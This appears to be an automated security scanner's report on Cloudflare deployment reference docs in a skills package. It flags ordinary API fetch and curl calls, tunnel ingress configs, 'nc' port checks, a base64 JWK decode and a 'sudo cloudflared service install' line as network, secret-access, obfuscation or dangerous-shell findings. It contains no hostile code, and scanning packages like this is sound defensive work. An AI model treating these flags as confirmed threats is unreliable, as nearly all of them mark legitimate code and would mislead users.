    src="https://customer-<CODE>.cloudflarestream.com/<VIDEO_ID>/iframe?autoplay=true&muted=true"
  • Network accessline 60
    // HLS const hlsUrl = `https://customer-<CODE>.cloudflarestream.com/${videoId}/manifest/video.m3u8`;
  • Network accessline 61
    const hlsUrl = `https://customer-<CODE>.cloudflarestream.com/${videoId}/manifest/video.m3u8`;
  • Network accessline 63
    // DASH const dashUrl = `https://customer-<CODE>.cloudflarestream.com/${videoId}/manifest/video.mpd`;
  • Network accessline 64
    const dashUrl = `https://customer-<CODE>.cloudflarestream.com/${videoId}/manifest/video.mpd`;
  • Network accessline 70
    // At specific time (seconds) const thumb = `https://customer-<CODE>.cloudflarestream.com/${videoId}/thumbnails/thumbnail.jpg?time=10s`;
  • Network accessline 71
    const thumb = `https://customer-<CODE>.cloudflarestream.com/${videoId}/thumbnails/thumbnail.jpg?time=10s`;
  • Network accessline 73
    // By percentage const thumbPct = `https://customer-<CODE>.cloudflarestream.com/${videoId}/thumbnails/thumbnail.jpg?time=50%`;
  • Network accessline 74
    const thumbPct = `https://customer-<CODE>.cloudflarestream.com/${videoId}/thumbnails/thumbnail.jpg?time=50%`;
  • Network accessline 76
    // Animated GIF const gif = `https://customer-<CODE>.cloudflarestream.com/${videoId}/thumbnails/thumbnail.gif`;
  • Network accessline 77
    const gif = `https://customer-<CODE>.cloudflarestream.com/${videoId}/thumbnails/thumbnail.gif`;
  • Network accessline 83
    // Low volume (<1k/day): Use API async function getSignedToken(accountId: string, videoId: string, apiToken: string) {   const response = await fetch(
  • Network accessline 84
    async function getSignedToken(accountId: string, videoId: string, apiToken: string) {   const response = await fetch(     `https://api.cloudflare.com/client/v4/accounts/${accountId}/stream/${videoId}/token`,
  • Network accessline 85
    const response = await fetch(
  • Network accessline 86
    `https://api.cloudflare.com/client/v4/accounts/${accountId}/stream/${videoId}/token`,
  • Network accessline 111
    const formData = new FormData();   formData.append('file', captionFile);   return fetch(
  • Network accessline 112
    formData.append('file', captionFile);   return fetch(     `https://api.cloudflare.com/client/v4/accounts/${accountId}/stream/${videoId}/captions/${language}`,
  • Network accessline 113
    return fetch(
  • Network accessline 114
    `https://api.cloudflare.com/client/v4/accounts/${accountId}/stream/${videoId}/captions/${language}`,
  • Network accessline 127
    // TODO: Requires Workers AI integration - see workers-ai reference async function generateAICaptions(accountId: string, videoId: string, apiToken: string) {   return fetch(
  • Network accessline 128
    async function generateAICaptions(accountId: string, videoId: string, apiToken: string) {   return fetch(     `https://api.cloudflare.com/client/v4/accounts/${accountId}/stream/${videoId}/captions/generate`,
  • Network accessline 129
    return fetch(
  • Network accessline 130
    `https://api.cloudflare.com/client/v4/accounts/${accountId}/stream/${videoId}/captions/generate`,
  • Network accessline 145
    startTime: number, endTime: number ) {   return fetch(
  • Network accessline 146
    ) {   return fetch(     `https://api.cloudflare.com/client/v4/accounts/${accountId}/stream/clip`,
  • Network accessline 147
    return fetch(
  • Network accessline 148
    `https://api.cloudflare.com/client/v4/accounts/${accountId}/stream/clip`,

packages/autoskills/skills-registry/cloudflare-deploy/references/stream/configuration.md

  • Network accessline 59
    curl -X POST \
  • Network accessline 60
    "https://api.cloudflare.com/client/v4/accounts/{account_id}/stream/keys" \
  • Network accessline 76
    curl -X PUT \
  • Network accessline 77
    "https://api.cloudflare.com/client/v4/accounts/{account_id}/stream/webhook" \
  • Network accessline 78
    [Credential-related source omitted]
  • Network accessline 80
    -d '{"notificationUrl": "https://your-worker.workers.dev/webhook"}'
  • Network accessline 96
    expiry: new Date(Date.now() + 3600000).toISOString(),   requireSignedURLs: true,   allowedOrigins: ['https://yourdomain.com'],
  • Network accessline 97
    requireSignedURLs: true,   allowedOrigins: ['https://yourdomain.com'],   meta: { creator: 'user-123' }
  • Network accessline 98
    allowedOrigins: ['https://yourdomain.com'],

packages/autoskills/skills-registry/cloudflare-deploy/references/stream/gotchas.md

  • Network accessline 100
    const formData = new FormData();   formData.append('file', file);   const response = await fetch(url, { method: 'POST', body: formData });
  • Network accessline 101
    formData.append('file', file);   const response = await fetch(url, { method: 'POST', body: formData });   const result = await response.json();
  • Network accessline 102
    const response = await fetch(url, { method: 'POST', body: formData });

packages/autoskills/skills-registry/cloudflare-deploy/references/stream/patterns.md

  • Network accessline 23
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 24
    async fetch(request: Request, env: Env): Promise<Response> {
  • Access to secretsline 26
    [Credential-related source omitted]
  • Network accessline 46
    async function handleUpload(file: File) {     setUploading(true);     const { uploadURL, uid } = await fetch('/api/upload-url', {
  • Network accessline 47
    setUploading(true);     const { uploadURL, uid } = await fetch('/api/upload-url', {       method: 'POST',
  • Network accessline 48
    const { uploadURL, uid } = await fetch('/api/upload-url', {
  • Network accessline 110
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 111
    async fetch(request: Request, env: Env): Promise<Response> {
  • Access to secretsline 114
    [Credential-related source omitted]
  • Possible obfuscationline 144
    'jwk', JSON.parse(atob(jwkBase64)), { name: 'RSASSA-PKCS1-v1_5', hash: 'SHA-256' }, false, ['sign']

packages/autoskills/skills-registry/cloudflare-deploy/references/tail-workers/README.md

  • Network accessline 71
    // Process events from producer Worker     ctx.waitUntil(       fetch(env.LOG_ENDPOINT, {
  • Network accessline 72
    ctx.waitUntil(       fetch(env.LOG_ENDPOINT, {         method: "POST",
  • Network accessline 73
    fetch(env.LOG_ENDPOINT, {

packages/autoskills/skills-registry/cloudflare-deploy/references/tail-workers/api.md

  • Access to secretsline 14
    [Credential-related source omitted]
  • Network accessline 141
    ctx.waitUntil(       fetch(env.LOG_ENDPOINT, {
  • Network accessline 142
    fetch(env.LOG_ENDPOINT, {
  • Access to secretsline 149
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/tail-workers/configuration.md

  • Network accessline 12
    // Process events from producer Worker     ctx.waitUntil(       fetch(env.LOG_ENDPOINT, {
  • Network accessline 13
    ctx.waitUntil(       fetch(env.LOG_ENDPOINT, {         method: "POST",
  • Network accessline 14
    fetch(env.LOG_ENDPOINT, {
  • Network accessline 99
    "name": "my-tail-worker",   "vars": {     "LOG_ENDPOINT": "https://logs.example.com/ingest"
  • Network accessline 100
    "vars": {     "LOG_ENDPOINT": "https://logs.example.com/ingest"   },
  • Network accessline 101
    "LOG_ENDPOINT": "https://logs.example.com/ingest"

packages/autoskills/skills-registry/cloudflare-deploy/references/tail-workers/gotchas.md

  • Network accessline 13
    export default {   async tail(events) {     fetch(endpoint, { body: JSON.stringify(events) });
  • Network accessline 14
    async tail(events) {     fetch(endpoint, { body: JSON.stringify(events) });   }
  • Network accessline 15
    fetch(endpoint, { body: JSON.stringify(events) });
  • Network accessline 20
    export default {   async tail(events, env, ctx) {     await fetch(endpoint, { body: JSON.stringify(events) });
  • Network accessline 21
    async tail(events, env, ctx) {     await fetch(endpoint, { body: JSON.stringify(events) });   }
  • Network accessline 22
    await fetch(endpoint, { body: JSON.stringify(events) });
  • Network accessline 29
    ctx.waitUntil(       (async () => {         await fetch(endpoint, { body: JSON.stringify(events) });
  • Network accessline 30
    (async () => {         await fetch(endpoint, { body: JSON.stringify(events) });         await processMore();
  • Network accessline 31
    await fetch(endpoint, { body: JSON.stringify(events) });
  • Network accessline 122
    ctx.waitUntil((async () => {   try {     await fetch(env.ENDPOINT, { body: JSON.stringify(events) });
  • Network accessline 123
    try {     await fetch(env.ENDPOINT, { body: JSON.stringify(events) });   } catch (error) {
  • Network accessline 124
    await fetch(env.ENDPOINT, { body: JSON.stringify(events) });
  • Network accessline 165
    export default {   async fetch(request) {
  • Network accessline 166
    async fetch(request) {
  • Network accessline 176
    Trigger: `curl https://producer.example.workers.dev/test`

packages/autoskills/skills-registry/cloudflare-deploy/references/tail-workers/patterns.md

  • Network accessline 34
    ctx.waitUntil(       fetch(env.LOG_ENDPOINT, {
  • Network accessline 35
    fetch(env.LOG_ENDPOINT, {
  • Network accessline 55
    ctx.waitUntil(       fetch(env.ERROR_ENDPOINT, {
  • Network accessline 56
    fetch(env.ERROR_ENDPOINT, {
  • Network accessline 119
    const tasks = [];     if (errors.length > 0) {       tasks.push(fetch(env.ERROR_ENDPOINT, {
  • Network accessline 120
    if (errors.length > 0) {       tasks.push(fetch(env.ERROR_ENDPOINT, {         method: "POST",
  • Network accessline 121
    tasks.push(fetch(env.ERROR_ENDPOINT, {
  • Network accessline 125
    }     if (success.length > 0) {       tasks.push(fetch(env.SUCCESS_ENDPOINT, {
  • Network accessline 126
    if (success.length > 0) {       tasks.push(fetch(env.SUCCESS_ENDPOINT, {         method: "POST",
  • Network accessline 127
    tasks.push(fetch(env.SUCCESS_ENDPOINT, {
  • Network accessline 144
    async tail(events, env, ctx) {     if (Math.random() > 0.1) return;  // 10% sample rate     ctx.waitUntil(fetch(env.LOG_ENDPOINT, {
  • Network accessline 145
    if (Math.random() > 0.1) return;  // 10% sample rate     ctx.waitUntil(fetch(env.LOG_ENDPOINT, {       method: "POST",
  • Network accessline 146
    ctx.waitUntil(fetch(env.LOG_ENDPOINT, {
  • Network accessline 162
    async tail(events, env, ctx) {     const batch = env.BATCH_DO.get(env.BATCH_DO.idFromName("batch"));     ctx.waitUntil(batch.fetch("https://batch/add", {
  • Network accessline 163
    const batch = env.BATCH_DO.get(env.BATCH_DO.idFromName("batch"));     ctx.waitUntil(batch.fetch("https://batch/add", {       method: "POST",
  • Network accessline 164
    ctx.waitUntil(batch.fetch("https://batch/add", {

packages/autoskills/skills-registry/cloudflare-deploy/references/terraform/README.md

  • Access to secretsline 49
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/terraform/api.md

  • Network accessline 157
    output "worker_url" {   value = "https://${cloudflare_worker_domain.api.hostname}"
  • Network accessline 158
    value = "https://${cloudflare_worker_domain.api.hostname}"

packages/autoskills/skills-registry/cloudflare-deploy/references/terraform/configuration.md

  • Access to secretsline 67
    [Credential-related source omitted]
  • Network accessline 141
    rules {     action = "redirect"; enabled = true; expression = "(http.request.uri.path eq \"/old\")"     action_parameters { from_value { status_code = 301; target_url { value = "https://example.com/new" }}}
  • Network accessline 142
    action = "redirect"; enabled = true; expression = "(http.request.uri.path eq \"/old\")"     action_parameters { from_value { status_code = 301; target_url { value = "https://example.com/new" }}}   }
  • Network accessline 143
    action_parameters { from_value { status_code = 301; target_url { value = "https://example.com/new" }}}
  • Access to secretsline 188
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/terraform/gotchas.md

  • Access to secretsline 22
    [Credential-related source omitted]
  • Dangerous shell operationline 110
    **Solution:** Import resource back into state with `terraform import cloudflare_zone.example <zone-id>` or remove from state with `terraform state rm cloudflare_zone.example`
  • Network accessline 148
    - [API](./api.md) - Data sources - [Patterns](./patterns.md) - Use cases - Provider docs: https://registry.terraform.io/providers/cloudflare/cloudflare/latest/docs
  • Network accessline 150
    - Provider docs: https://registry.terraform.io/providers/cloudflare/cloudflare/latest/docs

packages/autoskills/skills-registry/cloudflare-deploy/references/terraform/patterns.md

  • Access to secretsline 71
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/tunnel/README.md

  • Network accessline 90
    ingress:   - hostname: app.example.com     service: http://localhost:8000
  • Network accessline 91
    - hostname: app.example.com     service: http://localhost:8000   - hostname: api.example.com
  • Network accessline 92
    service: http://localhost:8000
  • Network accessline 93
    - hostname: api.example.com     service: https://localhost:8443     originRequest:
  • Network accessline 94
    service: https://localhost:8443

packages/autoskills/skills-registry/cloudflare-deploy/references/tunnel/api.md

  • Network accessline 5
    **Base URL**: `https://api.cloudflare.com/client/v4`
  • Access to secretsline 9
    [Credential-related source omitted]
  • Access to secretsline 20
    [Credential-related source omitted]
  • Network accessline 30
    [Credential-related source omitted]
  • Access to secretsline 30
    [Credential-related source omitted]
  • Access to secretsline 31
    [Credential-related source omitted]
  • Network accessline 54
    [Credential-related source omitted]
  • Access to secretsline 54
    [Credential-related source omitted]
  • Access to secretsline 55
    [Credential-related source omitted]
  • Network accessline 73
    [Credential-related source omitted]
  • Access to secretsline 73
    [Credential-related source omitted]
  • Access to secretsline 74
    [Credential-related source omitted]
  • Network accessline 91
    [Credential-related source omitted]
  • Access to secretsline 91
    [Credential-related source omitted]
  • Access to secretsline 92
    [Credential-related source omitted]
  • Network accessline 96
    "ingress": [         {"hostname": "app.example.com", "service": "http://localhost:8000"},
  • Network accessline 97
    {"hostname": "app.example.com", "service": "http://localhost:8000"},
  • Network accessline 110
    config: {       ingress: [         { hostname: 'app.example.com', service: 'http://localhost:8000' },
  • Network accessline 111
    ingress: [         { hostname: 'app.example.com', service: 'http://localhost:8000' },         { service: 'http_status:404' },
  • Network accessline 112
    { hostname: 'app.example.com', service: 'http://localhost:8000' },
  • Network accessline 124
    [Credential-related source omitted]
  • Access to secretsline 124
    [Credential-related source omitted]
  • Access to secretsline 125
    [Credential-related source omitted]
  • Access to secretsline 152
    [Credential-related source omitted]
  • Access to secretsline 155
    [Credential-related source omitted]
  • Network accessline 172
    # Create DNS route curl -X POST "https://api.cloudflare.com/client/v4/accounts/{account_id}/tunnels/{tunnel_id}/connections" \
  • Network accessline 173
    [Credential-related source omitted]
  • Access to secretsline 173
    [Credential-related source omitted]
  • Access to secretsline 174
    [Credential-related source omitted]
  • Network accessline 177
    # Delete route curl -X DELETE "https://api.cloudflare.com/client/v4/accounts/{account_id}/tunnels/{tunnel_id}/connections/{route_id}" \
  • Network accessline 178
    [Credential-related source omitted]
  • Access to secretsline 178
    [Credential-related source omitted]
  • Access to secretsline 179
    [Credential-related source omitted]
  • Network accessline 185
    # Add IP route curl -X POST "https://api.cloudflare.com/client/v4/accounts/{account_id}/tunnels/{tunnel_id}/routes" \
  • Network accessline 186
    [Credential-related source omitted]
  • Access to secretsline 186
    [Credential-related source omitted]
  • Access to secretsline 187
    [Credential-related source omitted]
  • Network accessline 190
    # List IP routes curl -X GET "https://api.cloudflare.com/client/v4/accounts/{account_id}/tunnels/{tunnel_id}/routes" \
  • Network accessline 191
    [Credential-related source omitted]
  • Access to secretsline 191
    [Credential-related source omitted]
  • Access to secretsline 192
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/tunnel/configuration.md

  • Network accessline 28
    ingress:   - hostname: app.example.com     service: http://localhost:8000
  • Network accessline 29
    - hostname: app.example.com     service: http://localhost:8000   - service: http_status:404  # Required catch-all
  • Network accessline 30
    service: http://localhost:8000
  • Network accessline 41
    - hostname: static.example.com     path: \.(jpg|png|css|js)$     service: https://localhost:8001
  • Network accessline 43
    service: https://localhost:8001
  • Network accessline 45
    # Wildcard hostname   - hostname: "*.example.com"     service: https://localhost:8002
  • Network accessline 47
    service: https://localhost:8002
  • Network accessline 49
    # Path only (all hostnames)   - path: /api/.*     service: http://localhost:9000
  • Network accessline 51
    service: http://localhost:9000
  • Network accessline 59
    cloudflared tunnel ingress validate cloudflared tunnel ingress rule https://foo.example.com
  • Network accessline 60
    cloudflared tunnel ingress rule https://foo.example.com
  • Network accessline 65
    | Protocol | Format | Client Requirement | |----------|--------|-------------------| | HTTP | `http://localhost:8000` | Browser |
  • Network accessline 66
    |----------|--------|-------------------| | HTTP | `http://localhost:8000` | Browser | | HTTPS | `https://localhost:8443` | Browser |
  • Network accessline 67
    | HTTP | `http://localhost:8000` | Browser |
  • Network accessline 68
    | HTTPS | `https://localhost:8443` | Browser |
  • Network accessline 126
    ingress:   - hostname: app.example.com     service: http://localhost:8000
  • Network accessline 127
    - hostname: app.example.com     service: http://localhost:8000   - service: http_status:404
  • Network accessline 128
    service: http://localhost:8000

packages/autoskills/skills-registry/cloudflare-deploy/references/tunnel/gotchas.md

  • Network accessline 120
    cloudflared tunnel --loglevel debug run my-tunnel cloudflared tunnel ingress rule https://app.example.com
  • Network accessline 121
    cloudflared tunnel ingress rule https://app.example.com
  • Network accessline 130
    ingress:   - hostname: app.example.com     service: http://localhost:8000
  • Network accessline 131
    - hostname: app.example.com     service: http://localhost:8000   - service: http_status:404
  • Network accessline 132
    service: http://localhost:8000

packages/autoskills/skills-registry/cloudflare-deploy/references/tunnel/networking.md

  • Network accessline 65
    # Test port 7844 (QUIC/UDP) nc -zvu edge.argotunnel.com 7844
  • Network accessline 66
    nc -zvu edge.argotunnel.com 7844
  • Network accessline 68
    # Test port 443 (HTTP/2 fallback) nc -zv edge.argotunnel.com 443
  • Network accessline 69
    nc -zv edge.argotunnel.com 443
  • Network accessline 144
    # Enable metrics endpoint cloudflared tunnel --metrics localhost:9090 run my-tunnel curl localhost:9090/metrics | grep cloudflared_tunnel
  • Network accessline 146
    curl localhost:9090/metrics | grep cloudflared_tunnel
  • Network accessline 148
    # Test latency curl -w "time_total: %{time_total}\n" -o /dev/null https://myapp.example.com
  • Network accessline 149
    curl -w "time_total: %{time_total}\n" -o /dev/null https://myapp.example.com

packages/autoskills/skills-registry/cloudflare-deploy/references/tunnel/patterns.md

  • Access to secretsline 10
    [Credential-related source omitted]
  • Network accessline 66
    ingress:   - hostname: app.example.com     service: http://localhost:8000
  • Network accessline 67
    - hostname: app.example.com     service: http://localhost:8000   - service: http_status:404
  • Network accessline 68
    service: http://localhost:8000
  • Network accessline 78
    ingress:   - hostname: myapp.example.com     service: http://localhost:3000
  • Network accessline 79
    - hostname: myapp.example.com     service: http://localhost:3000   - service: http_status:404
  • Network accessline 80
    service: http://localhost:3000
  • Network accessline 96
    ingress:   - hostname: grpc.example.com     service: http://localhost:50051
  • Network accessline 97
    - hostname: grpc.example.com     service: http://localhost:50051     originRequest:
  • Network accessline 98
    service: http://localhost:50051
  • Network accessline 123
    ingress_rule {       hostname = "app.example.com"       service  = "http://localhost:8000"
  • Network accessline 124
    hostname = "app.example.com"       service  = "http://localhost:8000"     }
  • Network accessline 125
    service  = "http://localhost:8000"
  • Network accessline 162
    config: {     ingressRules: [       { hostname: "app.example.com", service: "http://localhost:8000" },
  • Network accessline 163
    ingressRules: [       { hostname: "app.example.com", service: "http://localhost:8000" },       { service: "http_status:404" },
  • Network accessline 164
    { hostname: "app.example.com", service: "http://localhost:8000" },
  • Dangerous shell operationline 190
    sudo cloudflared service install
  • Dangerous shell operationline 191
    sudo launchctl start com.cloudflare.cloudflared

packages/autoskills/skills-registry/cloudflare-deploy/references/turn/README.md

  • Network accessline 79
    - [Cloudflare Calls Documentation](https://developers.cloudflare.com/calls/)
  • Network accessline 80
    - [Cloudflare TURN Service Docs](https://developers.cloudflare.com/realtime/turn/)
  • Network accessline 81
    - [Cloudflare API Reference](https://developers.cloudflare.com/api/resources/calls/subresources/turn/)
  • Network accessline 82
    - [Orange Meets (Open Source Example)](https://github.com/cloudflare/orange)

packages/autoskills/skills-registry/cloudflare-deploy/references/turn/api.md

  • Network accessline 9
    Base URL: `https://api.cloudflare.com/client/v4`
  • Network accessline 63
    POST https://rtc.live.cloudflare.com/v1/turn/keys/{key_id}/credentials/generate
  • Network accessline 105
    POST https://rtc.live.cloudflare.com/v1/turn/keys/{key_id}/credentials/revoke
  • Network accessline 193
    const response = await fetch(
  • Network accessline 194
    `https://rtc.live.cloudflare.com/v1/turn/keys/${config.keyId}/credentials/generate`,

packages/autoskills/skills-registry/cloudflare-deploy/references/turn/configuration.md

  • Access to secretsline 8
    [Credential-related source omitted]
  • Network accessline 69
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 70
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 79
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 80
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 88
    const response = await fetch(
  • Network accessline 89
    `https://rtc.live.cloudflare.com/v1/turn/keys/${env.TURN_KEY_ID}/credentials/generate`,
  • Access to secretsline 93
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/turn/gotchas.md

  • Network accessline 101
    [Credential-related source omitted]
  • Network accessline 102
    [Credential-related source omitted]
  • Network accessline 103
    const response = await fetch(`https://rtc.live.cloudflare.com/v1/turn/...`, {
  • Network accessline 107
    // ✅ GOOD: Generate credentials server-side const response = await fetch('/api/turn-credentials');
  • Network accessline 108
    const response = await fetch('/api/turn-credentials');
  • Network accessline 135
    Reference: [RFC 8445 Section 2.4](https://datatracker.ietf.org/doc/html/rfc8445#section-2.4)

packages/autoskills/skills-registry/cloudflare-deploy/references/turn/patterns.md

  • Network accessline 21
    async function getTURNConfig(): Promise<RTCIceServer[]> {   const response = await fetch('/api/turn-credentials');
  • Network accessline 22
    const response = await fetch('/api/turn-credentials');
  • Network accessline 79
    async function refreshTURNCredentials(pc: RTCPeerConnection): Promise<void> {   const newCreds = await fetch('/turn-credentials').then(r => r.json());
  • Network accessline 80
    const newCreds = await fetch('/turn-credentials').then(r => r.json());
  • Network accessline 132
    const res = await fetch(
  • Network accessline 133
    `https://rtc.live.cloudflare.com/v1/turn/keys/${keyId}/credentials/generate`,

packages/autoskills/skills-registry/cloudflare-deploy/references/turnstile/README.md

  • Network accessline 21
    <!-- 1. Add script --> <script src="https://challenges.cloudflare.com/turnstile/v0/api.js" async defer></script>
  • Network accessline 22
    <script src="https://challenges.cloudflare.com/turnstile/v0/api.js" async defer></script>
  • Network accessline 33
    <div id="turnstile-container"></div> <script src="https://challenges.cloudflare.com/turnstile/v0/api.js?render=explicit"></script>
  • Network accessline 34
    <script src="https://challenges.cloudflare.com/turnstile/v0/api.js?render=explicit"></script>
  • Network accessline 45
    // Cloudflare Workers export default {   async fetch(request) {
  • Network accessline 46
    export default {   async fetch(request) {     const formData = await request.formData();
  • Network accessline 47
    async fetch(request) {
  • Network accessline 51
    const result = await fetch('https://challenges.cloudflare.com/turnstile/v0/siteverify', {
  • Access to secretsline 55
    [Credential-related source omitted]
  • Network accessline 98
    - [Cloudflare Turnstile Docs](https://developers.cloudflare.com/turnstile/)
  • Network accessline 99
    - [Dashboard](https://dash.cloudflare.com/?to=/:account/turnstile)

packages/autoskills/skills-registry/cloudflare-deploy/references/turnstile/api.md

  • Network accessline 105
    **Endpoint:** `https://challenges.cloudflare.com/turnstile/v0/siteverify`
  • Network accessline 123
    // Cloudflare Workers const result = await fetch('https://challenges.cloudflare.com/turnstile/v0/siteverify', {
  • Network accessline 124
    const result = await fetch('https://challenges.cloudflare.com/turnstile/v0/siteverify', {
  • Access to secretsline 128
    [Credential-related source omitted]
  • Network accessline 227
    <!-- Standard --> <script src="https://challenges.cloudflare.com/turnstile/v0/api.js" async defer></script>
  • Network accessline 228
    <script src="https://challenges.cloudflare.com/turnstile/v0/api.js" async defer></script>
  • Network accessline 230
    <!-- Explicit render mode --> <script src="https://challenges.cloudflare.com/turnstile/v0/api.js?render=explicit"></script>
  • Network accessline 231
    <script src="https://challenges.cloudflare.com/turnstile/v0/api.js?render=explicit"></script>
  • Network accessline 233
    <!-- With load callback --> <script src="https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback"></script>
  • Network accessline 234
    <script src="https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback"></script>

packages/autoskills/skills-registry/cloudflare-deploy/references/turnstile/configuration.md

  • Network accessline 7
    <script src="https://challenges.cloudflare.com/turnstile/v0/api.js" async defer></script>
  • Network accessline 13
    <script src="https://challenges.cloudflare.com/turnstile/v0/api.js?render=explicit"></script>
  • Network accessline 19
    <script src="https://challenges.cloudflare.com/turnstile/v0/api.js?onload=myCallback"></script>
  • Network accessline 30
    <script src="https://challenges.cloudflare.com/turnstile/v0/api.js?compat=recaptcha"></script>
  • Network accessline 134
    script-src https://challenges.cloudflare.com;
  • Network accessline 135
    frame-src https://challenges.cloudflare.com;
  • Network accessline 140
    <meta http-equiv="Content-Security-Policy"        content="default-src 'self';                 script-src 'self' https://challenges.cloudflare.com;
  • Network accessline 141
    content="default-src 'self';                 script-src 'self' https://challenges.cloudflare.com;                 frame-src https://challenges.cloudflare.com;">
  • Network accessline 142
    script-src 'self' https://challenges.cloudflare.com;
  • Network accessline 143
    frame-src https://challenges.cloudflare.com;">

packages/autoskills/skills-registry/cloudflare-deploy/references/turnstile/gotchas.md

  • Network accessline 11
    [Credential-related source omitted]
  • Network accessline 12
    [Credential-related source omitted]
  • Network accessline 13
    const validation = await fetch('https://challenges.cloudflare.com/turnstile/v0/siteverify', {
  • Network accessline 125
    <meta http-equiv="Content-Security-Policy"        content="script-src 'self' https://challenges.cloudflare.com;
  • Network accessline 126
    content="script-src 'self' https://challenges.cloudflare.com;
  • Network accessline 127
    frame-src https://challenges.cloudflare.com;">
  • Access to secretsline 198
    [Credential-related source omitted]
  • Access to secretsline 205
    [Credential-related source omitted]
  • Access to secretsline 207
    [Credential-related source omitted]
  • Access to secretsline 211
    [Credential-related source omitted]
  • Network accessline 216
    - [Turnstile Docs](https://developers.cloudflare.com/turnstile/)
  • Network accessline 217
    - [Dashboard](https://dash.cloudflare.com/?to=/:account/turnstile)
  • Network accessline 218
    - [Error Codes](https://developers.cloudflare.com/turnstile/troubleshooting/)

packages/autoskills/skills-registry/cloudflare-deploy/references/turnstile/patterns.md

  • Network accessline 9
    <html> <head>   <script src="https://challenges.cloudflare.com/turnstile/v0/api.js" async defer></script>
  • Network accessline 10
    <head>   <script src="https://challenges.cloudflare.com/turnstile/v0/api.js" async defer></script> </head>
  • Network accessline 11
    <script src="https://challenges.cloudflare.com/turnstile/v0/api.js" async defer></script>
  • Network accessline 26
    <script src="https://challenges.cloudflare.com/turnstile/v0/api.js?render=explicit"></script>
  • Network accessline 38
    const response = await fetch('/submit', {
  • Network accessline 61
    e.preventDefault();       if (!token) return;       await fetch('/api/submit', {
  • Network accessline 62
    if (!token) return;       await fetch('/api/submit', {          method: 'POST',
  • Network accessline 63
    await fetch('/api/submit', {
  • Network accessline 94
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 95
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 107
    // Validate token     const ip = request.headers.get('CF-Connecting-IP');     const result = await fetch('https://challenges.cloudflare.com/turnstile/v0/siteverify', {
  • Network accessline 108
    const ip = request.headers.get('CF-Connecting-IP');     const result = await fetch('https://challenges.cloudflare.com/turnstile/v0/siteverify', {       method: 'POST',
  • Network accessline 109
    const result = await fetch('https://challenges.cloudflare.com/turnstile/v0/siteverify', {
  • Access to secretsline 113
    [Credential-related source omitted]
  • Access to secretsline 137
    [Credential-related source omitted]
  • Network accessline 151
    <script src="https://challenges.cloudflare.com/turnstile/v0/api.js?render=explicit"></script>
  • Access to secretsline 191
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/vectorize/README.md

  • Network accessline 130
    - [Official Docs](https://developers.cloudflare.com/vectorize/)
  • Network accessline 131
    - [Client API Reference](https://developers.cloudflare.com/vectorize/reference/client-api/)
  • Network accessline 132
    - [Workers AI Models](https://developers.cloudflare.com/workers-ai/models/#text-embeddings)
  • Network accessline 133
    - [Discord: #vectorize](https://discord.cloudflare.com)

packages/autoskills/skills-registry/cloudflare-deploy/references/waf/README.md

  • Access to secretsline 27
    [Credential-related source omitted]
  • Network accessline 111
    - [Cloudflare WAF Docs](https://developers.cloudflare.com/waf/)
  • Network accessline 112
    - [Ruleset Engine](https://developers.cloudflare.com/ruleset-engine/)
  • Network accessline 113
    - [Expression Reference](https://developers.cloudflare.com/ruleset-engine/rules-language/)

packages/autoskills/skills-registry/cloudflare-deploy/references/waf/api.md

  • Access to secretsline 9
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/waf/configuration.md

  • Network accessline 5
    **API Token**: Create at https://dash.cloudflare.com/profile/api-tokens
  • Access to secretsline 13
    [Credential-related source omitted]
  • Access to secretsline 26
    [Credential-related source omitted]
  • Network accessline 196
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 197
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 198
    return fetch(`https://api.cloudflare.com/client/v4/zones/${env.ZONE_ID}/rulesets`, {
  • Access to secretsline 199
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/waf/patterns.md

  • Access to secretsline 163
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/web-analytics/README.md

  • Network accessline 69
    script-src https://static.cloudflareinsights.com https://cloudflareinsights.com;
  • Network accessline 139
    - [Cloudflare Web Analytics Docs](https://developers.cloudflare.com/analytics/web-analytics/)
  • Network accessline 140
    - [Core Web Vitals Guide](https://web.dev/vitals/)

packages/autoskills/skills-registry/cloudflare-deploy/references/web-analytics/configuration.md

  • Network accessline 20
    script-src https://static.cloudflareinsights.com https://cloudflareinsights.com;
  • Network accessline 28
    <script defer src='https://static.cloudflareinsights.com/beacon.min.js'

packages/autoskills/skills-registry/cloudflare-deploy/references/web-analytics/gotchas.md

  • Network accessline 18
    script-src 'self' https://static.cloudflareinsights.com https://cloudflareinsights.com;

packages/autoskills/skills-registry/cloudflare-deploy/references/web-analytics/integration.md

  • Network accessline 8
    <script defer src='https://static.cloudflareinsights.com/beacon.min.js'
  • Network accessline 45
    script-src 'self' https://static.cloudflareinsights.com;
  • Network accessline 46
    connect-src 'self' https://cloudflareinsights.com;
  • Network accessline 53
    if (localStorage.getItem('analytics-consent') === 'true') {   const script = document.createElement('script');   script.src = 'https://static.cloudflareinsights.com/beacon.min.js';
  • Network accessline 54
    const script = document.createElement('script');   script.src = 'https://static.cloudflareinsights.com/beacon.min.js';   script.defer = true;
  • Network accessline 55
    script.src = 'https://static.cloudflareinsights.com/beacon.min.js';

packages/autoskills/skills-registry/cloudflare-deploy/references/web-analytics/patterns.md

  • Network accessline 46
    if (consent === 'accepted') {   const script = document.createElement('script');   script.src = 'https://static.cloudflareinsights.com/beacon.min.js';
